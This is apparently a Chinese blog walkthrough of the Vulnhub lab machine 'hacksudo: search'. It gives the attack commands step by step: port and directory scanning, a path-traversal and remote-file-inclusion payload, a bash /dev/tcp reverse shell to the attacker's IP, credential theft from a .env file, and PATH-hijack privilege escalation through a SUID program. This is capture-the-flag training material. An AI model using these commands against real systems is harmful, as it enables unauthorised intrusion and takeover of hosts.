Vulnhub: hacksudo: search靶机

发布时间 2023-07-30 19:28:52作者: ctostm

kali:192.168.111.111

靶机:192.168.111.170

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.170

image

80端口目录爆破

feroxbuster -k -d 1 --url http://192.168.111.170 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf -t 1 -C 404,500

image

查看search1.php源码

image

漏洞利用

猜测该页面存在文件包含,利用wfuzz爆破参数名

wfuzz -c -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/burp-parameter-names.txt --hc 404 --hh 2918 http://192.168.111.170/search1.php?FUZZ=../../../../../../../../../../../../../../etc/passwd

image

同时发现目标存在远程文件包含

http://192.168.111.170/search1.php?me=http://192.168.111.111:8000/b.php&cmd=id

image

之后执行反弹shell

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/5555 0>&1'

image

提权

/var/www/html/.env文件中发现hacksudo用户的密码

image

image

查找suid权限的文件

find / -perm -u=s 2> /dev/null

image

/home/hacksudo/search/tools/该目录下存在该程序的源码

image

发现该程序会执行install命令,修改环境变量提权

echo '/bin/bash' > /tmp/install
chmod 777 /tmp/install
export PATH=/tmp:$PATH
./searchinstall

image

flag

image